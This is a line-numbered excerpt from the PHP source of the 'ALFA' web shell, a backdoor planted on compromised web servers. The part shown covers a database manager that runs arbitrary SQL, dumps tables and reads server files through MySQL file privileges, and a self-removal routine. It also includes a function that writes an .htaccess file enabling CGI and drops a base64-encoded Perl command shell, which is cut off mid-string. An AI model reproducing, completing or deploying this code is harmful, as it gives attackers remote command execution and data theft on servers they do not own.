2755if(isset($_POST['sql_host'])){
2756if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2757switch($_POST['charset']) {
2758case "Windows-1251": $db->setCharset('calfa1251'); break;
2759case "UTF-8": $db->setCharset('utf8'); break;
2760case "KOI8-R": $db->setCharset('koi8r'); break;
2761case "KOI8-U": $db->setCharset('koi8u'); break;
2762case "calfa866": $db->setCharset('calfa866'); break;
2763}
2764$db->listDbs();
2765echo "<select name=sql_base><option value=''></option>";
2766while($item = $db->fetch()) {
2767list($key, $value) = each($item);
2768echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2769}
2770echo '</select>';
2771}
2772else echo $tmp;
2773}else
2774echo $tmp;
2775echo "</td>
2776<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
2777<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <font color=\"#ffffff\"><b>count the number of rows</b></font></td>
2778</tr>
2779</table>
2780<script>
2781s_db='".@addslashes($_POST['sql_base'])."';
2782function fs(f) {
2783if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
2784if(f.alfa1) f.alfa1.value='';
2785if(f.alfa2) f.alfa2.value='';
2786if(f.alfa3) f.alfa3.value='';
2787}
2788}
2789function st(t,l) {
2790d.sf.alfa1.value = 'select';
2791d.sf.alfa2.value = t;
2792if(l && d.sf.alfa3) d.sf.alfa3.value = l;
2793d.sf.submit();
2794}
2795function is() {
2796for(i=0;i<d.sf.elements['tbl[]'].length;++i)
2797d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
2798}
2799</script>";
2800if(isset($db) && $db->link){
2801echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2802if(!empty($_POST['sql_base'])){
2803$db->selectdb($_POST['sql_base']);
2804echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
2805$tbls_res = $db->listTables();
2806while($item = $db->fetch($tbls_res)) {
2807list($key, $value) = each($item);
2808if(!empty($_POST['sql_count']))
2809$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2810$value = htmlspecialchars($value);
2811echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
2812}
2813echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.alfa2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
2814if(@$_POST['alfa1'] == 'select') {
2815$_POST['alfa1'] = 'query';
2816$_POST['alfa3'] = $_POST['alfa3']?$_POST['alfa3']:1;
2817$db->query('SELECT COUNT(*) as n FROM ' . $_POST['alfa2']);
2818$num = $db->fetch();
2819$pages = ceil($num['n'] / 30);
2820echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['alfa2'] . "\", d.sf.alfa3.value)}</script><span>".$_POST['alfa2']."</span> ({$num['n']} records) Page # <input type=text name='alfa3' value=" . ((int)$_POST['alfa3']) . ">";
2821echo " of $pages";
2822if($_POST['alfa3'] > 1)
2823echo " <a href=# onclick='st(\"" . $_POST['alfa2'] . '", ' . ($_POST['alfa3']-1) . ")'>< Prev</a>";
2824if($_POST['alfa3'] < $pages)
2825echo " <a href=# onclick='st(\"" . $_POST['alfa2'] . '", ' . ($_POST['alfa3']+1) . ")'>Next ></a>";
2826$_POST['alfa3']--;
2827if($_POST['type']=='pgsql')
2828$_POST['alfa2'] = 'SELECT * FROM '.$_POST['alfa2'].' LIMIT 30 OFFSET '.($_POST['alfa3']*30);
2829else
2830$_POST['alfa2'] = 'SELECT * FROM `'.$_POST['alfa2'].'` LIMIT '.($_POST['alfa3']*30).',30';
2831echo "<br><br>";
2832}
2833if((@$_POST['alfa1'] == 'query') && !empty($_POST['alfa2'])) {
2834$db->query(@$_POST['alfa2']);
2835if($db->res !== false) {
2836$title = false;
2837echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
2838$line = 1;
2839while($item = $db->fetch()) {
2840if(!$title) {
2841echo '<tr>';
2842foreach($item as $key => $value)
2843echo '<th>'.$key.'</th>';
2844reset($item);
2845$title=true;
2846echo '</tr><tr>';
2847$line = 2;
2848}
2849echo '<tr class="l'.$line.'">';
2850$line = $line==1?2:1;
2851foreach($item as $key => $value) {
2852if($value == null)
2853echo '<td><i>null</i></td>';
2854else
2855echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2856}
2857echo '</tr>';
2858}
2859echo '</table>';
2860} else {
2861echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2862}
2863}
2864echo "<br></form><form onsubmit='d.sf.alfa1.value=\"query\";d.sf.alfa2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
2865if(!empty($_POST['alfa2']) && ($_POST['alfa1'] != 'loadfile'))
2866echo htmlspecialchars($_POST['alfa2']);
2867echo "</textarea><br/><input type=submit value='Execute'>";
2868echo "</td></tr>";
2869}
2870echo "</table></form><br/>";
2871if($_POST['type']=='mysql') {
2872$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
2873if($db->fetch())
2874echo "<form onsubmit='d.sf.alfa1.value=\"loadfile\";document.sf.alfa2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
2875}
2876if(@$_POST['alfa1'] == 'loadfile') {
2877$file = $db->loadFile($_POST['alfa2']);
2878echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2879}
2880} else {
2881echo htmlspecialchars($db->error());
2882}
2883echo '</div>';
2884alfafooter();
2885}
2886function alfaselfrm()
2887{
2888if($_POST['alfa1'] == 'yes')
2889if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
2890die('<b>Shell has been removed</i> :)</b>');
2891else
2892echo 'unlink error!';
2893if($_POST['alfa1'] != 'yes')
2894alfahead();
2895echo "<div class=header><pre class=ml1 style='margin-top:5px'>";
2896echo "
2897<center><img height=\"300\" width=\"450\" src=\"http://iran.grn.cc/alfa-iran.jpg\">
2898</font>";
2899echo '<br><font color=white><b>Are you kidding me ?? Do you really want to delete this shell??</b></font><br><a href=# onclick="g(null,null,\'yes\')">Yes</a>';
2900echo '</div>';
2901alfaFooter();
2902}
2903function alfacgishell(){
2904alfahead();
2905echo '<div class=header>';
2906mkdir('cgialfa',0755);
2907chdir('cgialfa');
2908$solevisible7 = '.htaccess';
2909$solevisible6 = "$solevisible7";
2910$solevisible4 = fopen ($solevisible6 ,'w') or die ('ERROR!!!');
2911$solevisible5 = 'Options FollowSymLinks MultiViews Indexes ExecCGI
2912AddType application/x-httpd-cgi .alfa
2913AddHandler cgi-script .alfa
2914AddHandler cgi-script .alfa';
2915fwrite ( $solevisible4 ,$solevisible5 ) ;
2916fclose ($solevisible4);
2917$solevisible3 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyAgICogICAgKiAgICAgICAqKioqKioqICAgICogICAgICAgKioqKioqKiAqKioqKioqICAgICAgICAqICAgICAqIA0KIyAgKiAqICAgKiAgICAgICAqICAgICAgICAgKiAqICAgICAgICAgKiAgICAqICAgICAgICAgKiogICAqKiAgICoqIA0KIyAqICAgKiAgKiAgICAgICAqICAgICAgICAqICAgKiAgICAgICAgKiAgICAqICAgICAgICAqICAqICAqICogKiAqIA0KIyogICAgICogKiAgICAgICAqKioqKiAgICogICAgICogICAgICAgKiAgICAqKioqKiAgICogICAgKiAqICAqICAqIA0KIyoqKioqKiogKiAgICAgICAqICAgICAgICoqKioqKiogICAgICAgKiAgICAqICAgICAgICoqKioqKiAqICAgICAqIA0KIyogICAgICogKiAgICAgICAqICAgICAgICogICAgICogICAgICAgKiAgICAqICAgICAgICogICAgKiAqICAgICAqIA0KIyogICAgICogKioqKioqKiAqICAgICAgICogICAgICogICAgICAgKiAgICAqKioqKioqICogICAgKiAqICAgICAqIA0KIw0KIyBzb2xldmlzaWJsZUBnbWFpbC5jb20JDQojIHNvbGUgc2FkICYgaW52aXNpYmxlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiIjsJCQ0KDQokV2luTlQgPSAwOwkJCQ0KDQokTlRDbWRTZXAgPSAiJiI7CQkNCiRVbml4Q21kU2VwID0gIjsiOwkJDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoNCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCg0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQoJfQ0KDQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQ0KCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQ0KCXsNCgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyANCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgDQoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07DQoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsNCgkJJEhlYWRlciA9ICRgOw0KCQkkQm9keSA9ICQnOw0KIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQ0KCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsNCgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyANCgkJJGlueydmJ30gPSAkMTsgDQoJCSRpbnsnZid9ID1+IHMvXCIvL2c7DQoJCSRpbnsnZid9ID1+IHMvXHMvL2c7DQoNCgkJIyBwYXJzZSB0cmFpbGVyDQoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspDQoJCXsgDQoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsNCgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsNCgkJCSRrZXkgPSAkMTsNCgkJCSR2YWwgPSAkJzsNCgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9ID0gJHZhbDsgDQoJCX0NCgl9DQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpDQoJew0KCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7DQoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikNCgkJew0KCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsNCgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7DQoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VIZWFkZXINCnsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5zb2xldmlzaWJsZSBjZ2kgc2hlbGw8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQoNCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJzb2xldmlzaWJsZSxhbGZhIHRlYW0sc29sZSBzYWQsaW52aXNpYmxlIj4NCjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJzb2xldmlzaWJsZSxhbGZhIHRlYW0sc29sZSBzYWQsaW52aXNpYmxlIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRkZGRkYiPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQo8Zm9udCBjb2xvcj0icmVkIj48Yj5jb2RlZCBieSBzb2xlIHNhZCAmIGludmlzaWJsZSB+IHNvbGV2aXNpYmxlW2F0XWdtYWlsLmNvbTwvYj48L2ZvbnQ+DQo8dGQgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIiBjb2xvcj0iI2ZmMDAwMCI+IzwvZm9udD48L2I+PC90ZD4NCjx0ZCBiZ2NvbG9yPSIjMDAwMDAwIiB3aWR0aD0iOTglIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj48Yj4gDQo8Zm9udCBjb2xvcj0iIzIyRTIyOCI+PGI+c29sZXZpc2libGUgY2dpIHNoZWxsPC9iPjwvZm9udD4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiMwMDAwMDAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8cHJlPjxjZW50ZXI+PGltZyBib3JkZXI9IjAiIHNyYz0iaHR0cDovL3NvbGUtc2FkLnBlcnNpYW5naWcuY29tL2ltYWdlL2ZhcnZhaGFyLnBuZyI+PC9jZW50ZXI+PC9wcmU+PGJyPjxicj48L2ZvbnQ+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+DQpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+DQpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dPGJyPg0KPGZvbnQgY29sb3I9IiMyMkUyMjgiPjxiPmNvZGVkIGJ5IHNvbGUgc2FkICYgaW52aXNpYmxlIFtBTEZBIFRFYU1dPGI+PC9mb250Pjxicj4NCjxmb250IGNvbG9yPSJyZWQiPjxiPkNvbnRhY3QgOiBzb2xldmlzaWJsZVthdF1nbWFpbC5jb20gPC9iPjwvZm9udD4NCjxjb2RlPiRNZXNzYWdlDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxicj5sb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KDQo8Y29kZT4NCg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KPC9mb250Pg0KPGZvbnQgc2l6ZT0iMyI+DQpVc2VyIDogPGZvbnQgY29sb3I9IiMyMkUyMjgiPjxiPnJvb3Q8L2ZvbnQ+PGJyPg0KUGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIG